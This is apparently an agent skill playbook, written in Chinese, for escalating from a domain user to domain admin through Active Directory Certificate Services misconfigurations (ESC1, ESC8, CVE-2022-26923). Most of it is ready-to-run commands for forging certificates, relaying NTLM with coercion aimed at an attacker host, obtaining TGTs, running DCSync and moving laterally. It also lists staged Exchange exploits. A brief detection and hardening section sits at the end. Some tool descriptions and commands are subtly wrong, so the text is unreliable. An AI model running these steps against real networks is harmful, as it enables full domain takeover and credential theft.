adcs-attack

name	adcs-attack
description	AD CS 证书服务攻击 - ADCS ESC1-ESC8 + ADCSKiller 自动化利用
zone	3

AD CS 证书服务攻击 (ADCS Attack)

利用 Active Directory Certificate Services (ADCS) 配置错误，从普通域用户提升至域管理员权限

漏洞概述

Active Directory Certificate Services (ADCS) 是 Windows 域中常用的证书服务，但由于配置不当或设计缺陷，存在多种提权向量，统称为 ADCs (Active Directory Certificate Services) 攻击。

攻击效果

• 普通域用户 → 域管理员权限
• 可以伪造证书、获取高权限票据
• 可以进行 NTLM Relay + ESC8 攻击
• 完全控制 Active Directory

常见攻击向量

ESC	名称	描述	利用条件
ESC1	模板陷阱	任何用户可申请具有任意 SAN 的证书	配置错误的模板
ESC2	证书代理	允许请求代理证书	启用 ENROLLEE_SUPPLIES_SUBJECT
ESC3	请求代理	可以申请代理证书	特殊 EKU 配置
ESC4	模板 ACL	模板 ACL 可被低权限用户修改	弱 ACL 配置
ESC5	PKI 服务	PKI 服务器上的提权	服务器访问权限
ESC6	发行者签名	发行者证书未设置 EKU 约束	弱发行者配置
ESC7	Vulnerable CA	CA 服务器配置弱点	CA 管理访问
ESC8	NTLM Relay	通过 NTLM Relay 申请证书	未启用 LDAP 签名

影响范围

• Windows Server 2008 - 2022（安装 ADCS 角色）
• 默认配置下存在多个 ESC 向量
• 常见于企业域环境

---

Phase 0: 环境验证

检测 ADCS 服务

# 方法 1: 使用 ADCSKiller 自动检测
cd /opt/workspace/ad/ADCSKiller-main
python3 ADCSKiller.py -d domain.local -u user -p password --scan

# 方法 2: 使用 Certi.py
python3 /opt/workspace/ad/Certipy.py find dc.domain.local

# 方法 3: 手动查询
certutil -config - -ping

收集必要信息

# 获取域控信息
nslookup -type=srv _ldap._tcp.dc._msdcs.domain.local

# 获取证书颁发机构信息
certutil -config CA_SERVER -dump

---

Phase 1: 使用 ADCSKiller 自动扫描

ADCSKiller 基本使用

cd /opt/workspace/ad/ADCSKiller-main

# 基本扫描（检测所有 ESC 漏洞）
python3 ADCSKiller.py -d domain.local -u user -p password --scan

# 使用哈希认证
python3 ADCSKiller.py -d domain.local -u user -H :nthash --scan

# 指定 DC
python3 ADCSKiller.py -d domain.local -dc dc-ip --scan

# 指定 CA 服务器
python3 ADCSKiller.py -d domain.local -ca ca-server.domain.local --scan

参数说明

参数	说明	示例
-d	域名	-d domain.local
-dc	域控 IP	-dc 10.1.1.1
-ca	CA 服务器	-ca ca.domain.local
-u	用户名	-u user
-p	密码	-p password
-H	NTLM 哈希	-H :nthash
--scan	扫描模式	--scan
--esc	指定 ESC	--esc 1,8

扫描输出示例

[*] Connecting to Domain Controller...
[*] Enumerating Certificate Templates...
[+] Found vulnerable template: User (ESC1)
[+] Found vulnerable template: GenericWeb (ESC8)
[*] Testing certificate enrollment...
[+] Successfully enrolled certificate!
[*] Certificate saved to: user.pfx

---

Phase 2: ESC1 - 模板陷阱攻击

漏洞描述

ESC1 允许任何域用户申请具有 任意 SAN (Subject Alternative Name) 的证书，可以伪造任何用户（包括域管）的身份。

利用步骤

cd /opt/workspace/ad/ADCSKiller-main

# 方法 1: 使用 ADCSKiller
python3 ADCSKiller.py -d domain.local -u user -p password --esc 1

# 方法 2: 使用 Certipy
python3 Certipy.py req dc.domain.local -ca 'CA-Name' -template 'User' -upn [e-mail]

# 方法 3: 手动使用 certreq
certreq -q -config "CA_SERVER\CA-Name" -attrib "CertificateTemplate:User" request.inf

使用证书获取 TGT

# 使用 ADCSKiller 自动获取 TGT
python3 ADCSKiller.py -d domain.local -u user -p password --esc 1 --tgt

# 手动使用证书获取 TGT
python3 /opt/workspace/ad/gettgtpkinit.py domain.local/administrator -pfx-base64 <base64_cert> administrator.ccache

# 导入票据
export KRB5CCNAME=administrator.ccache

---

Phase 3: ESC8 - NTLM Relay 攻击

漏洞描述

ESC8 允许通过 NTLM Relay 到 ADCS 证书服务，为任意用户申请证书。配合 PetitPotam 或其他触发方式使用。

利用步骤

步骤 1: 启动 ntlmrelayx

cd /opt/workspace/ad/ADCSKiller-main/

# 启动 ntlmrelayx，监听 ADCS
ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp -smb2support --adcs --template User

# 或使用 ADCSKiller 集成功能
python3 ADCSKiller.py -d domain.local --esc 8 --relay

步骤 2: 触发 NTLM 认证

# 方法 1: 使用 PetitPotam
python3 /opt/workspace/ad/PetitPotam.py -d domain.local -u user -p password dc-ip attacker-ip

# 方法 2: 使用 PrintSpoofer
python3 /opt/workspace/ad/PrintSpoofer.py -d domain.local -u user -p password dc-ip attacker-ip

# 方法 3: 使用 ADCSKiller 自动触发
python3 ADCSKiller.py -d domain.local -u user -p password --esc 8 --auto

步骤 3: 获取证书并提权

# ntlmrelayx 会自动保存证书
# 使用证书获取 TGT
python3 /opt/workspace/ad/gettgtpkinit.py domain.local/administrator -pfx-base64 <base64> admin.ccache

# 执行 DCSync
secretsdump.py -k -no-pass domain.local/administrator@dc-ip

---

Phase 4: CVE-2022-26923 攻击

漏洞描述

CVE-2022-26923 允许低权限用户通过创建机器账户并篡改 dNSHostName 属性，在申请证书时获得域控身份。

利用步骤

cd /opt/workspace/ad/ADCSKiller-main

# 方法 1: 使用 ADCSKiller
python3 ADCSKiller.py -d domain.local -u user -p password --cve-2022-26923

# 方法 2: 使用 Certipy
python3 Certipy.py account create dc.domain.local -dn 'CN=fake,DC=domain,DC=local' -dns 'dc.domain.local'

# 申请证书
python3 Certipy.py req dc.domain.local -ca 'CA-Name' -template 'Machine'

# 使用证书认证
python3 psexec.py -dc-ip dc-ip -k -no-pass domain.local/dc$@dc-ip

---

Phase 5: 证书滥用

使用证书进行身份认证

# 使用证书获取 TGT
python3 /opt/workspace/ad/gettgtpkinit.py domain.local/user -pfx-file cert.pfx -key-file cert.key user.ccache

# 使用证书执行命令
python3 psexec.py -k -no-pass domain.local/user@dc-ip -dc-ip dc-ip

# 使用证书进行 DCSync
python3 secretsdump.py -k -no-pass domain.local/user@dc-ip

使用证书进行横向移动

# 使用证书获取服务票据
python3 /opt/workspace/ad/getnth.py -dc-ip dc-ip domain.local/user -pfx cert.pfx

# 使用票据访问服务
export KRB5CCNAME=user.ccache
python3 psexec.py -k -no-pass domain.local/user@target-ip

---

工具位置

重要: 所有工具位于 /opt/workspace/ad/ 目录，每个工具在独立的子目录中

主要工具（已提供）

工具	位置	用途
ADCSKiller	/opt/workspace/ad/ADCSKiller-main/	ADCS 自动化扫描和利用
Exchange2domain	/opt/workspace/ad/Exchange2domain/	Exchange 到域控攻击
privexchange	/opt/workspace/ad/privexchange/	Exchange EWS 推送订阅触发
ProxyLogon	/opt/workspace/ad/ProxyLogon/	CVE-2021-26855/27065 利用
ProxyShell	/opt/workspace/ad/ProxyShell/	CVE-2021-34473 利用
OWASSRF	/opt/workspace/ad/OWASSRF/	OWASSRF 攻击

其他工具（需要单独安装）

工具	安装来源	用途
Certipy	pip install certipy-ad	证书申请和滥用
gettgtpkinit.py	GitHub	证书转 TGT
PetitPotam	GitHub	触发 NTLM 认证
ntlmrelayx	impacket	NTLM 中继

---

防御检测

检测指标

1. 异常证书申请：

   # 查看 CA 日志
   certutil -view -out "RequesterName,CommonName,CertificateTemplate"
   

2. 异常模板配置：

   # 检查模板配置
   Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" -Filter * -Properties *
   

3. 异常机器账户：

   # 检查新创建的机器账户
   Get-ADComputer -Filter * -Property whenCreated | Sort-Object whenCreated -Descending | Select-Object -First 10
   

修复建议

1. 加固模板配置：

   • 移除不必要的 ENROLLEE_SUPPLIES_SUBJECT
   • 限制 SAN 扩展
   • 启用授权签名

2. 启用 LDAP 签名：

   Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity" -Value 2
   

3. 监控证书申请：

   • 启用 CA 审计日志
   • 监控异常模板使用
   • 检测异常 SAN 值

---

参考资源

原始项目

• ADCSKiller - grimlockx
• Certipy - ly4k
• Certified Pre-Owned - Sly

参考文章

• Certified Pre-Owned - HackTheBox
• ADCS Abuse - SpecterOps
• ESC8 Explained - Dirkjanm

---

相关技能

• ad-domain-attack - AD 域攻击技术
• ntlm-relay-attack - NTLM 中继攻击
• exchange-to-domain - Exchange 到域控提权